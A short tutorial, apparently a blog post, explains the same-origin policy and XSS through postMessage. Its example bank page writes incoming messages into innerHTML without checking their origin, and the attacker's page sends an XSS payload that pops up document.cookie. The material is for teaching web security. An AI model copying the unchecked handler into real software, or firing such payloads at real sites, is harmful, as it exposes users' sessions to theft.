Xss and Postmessage

1. SOP

// HTML of attack.com

<iframe src="http://mybank.com/balance" name="mybank"></iframe>
 
<script>
document.getElementsByName('mybank')[0].onload = function() {
    frames[0].getElementById("message").innerHTML = "Hello World.";
}
</script>

//HTML of mybank.com/balance

<div id="message"></div>

Because of SOP, you would get an error - "Error: SecurityError: Blocked a frame with origin 'http://attacker.com' from accessing a cross-origin frame."

2. Postmessage

To 'defeat' SOP, they have invented postMessage().

otherWindow.postMessage(message, targetOrigin, [transfer]);

So mybank.com decided to allow 3rd party to access its contents.

// HTML of mybank.com/balance
<div id="message"></div>
<script>
    window.addEventListener('message', writeMessage, false);

    function writeMessage(event) {
        document.getElementById("message").innerHTML = event.data;
    }
</script>

Now attacker.com could take advantage of it:

// HTML of attack.com
<iframe name="mybank" src="http://mybank.com/balance"></iframe>
<button onclick="frames[0].postMessage('Hello World.','*')">Send Message</button>

When user clicks on the button, it would send a message to mybank.com/balance. Consequently, "Hello world" get displayed.

XSS Payload:

// HTML of attack.com
<iframe name="mybank" src="http://mybank.com/balance"></iframe>
<button onclick="frames[0].postMessage('<img src=x onerror=alert(document.cookie)','*')">Send Attack</button>
Show Comments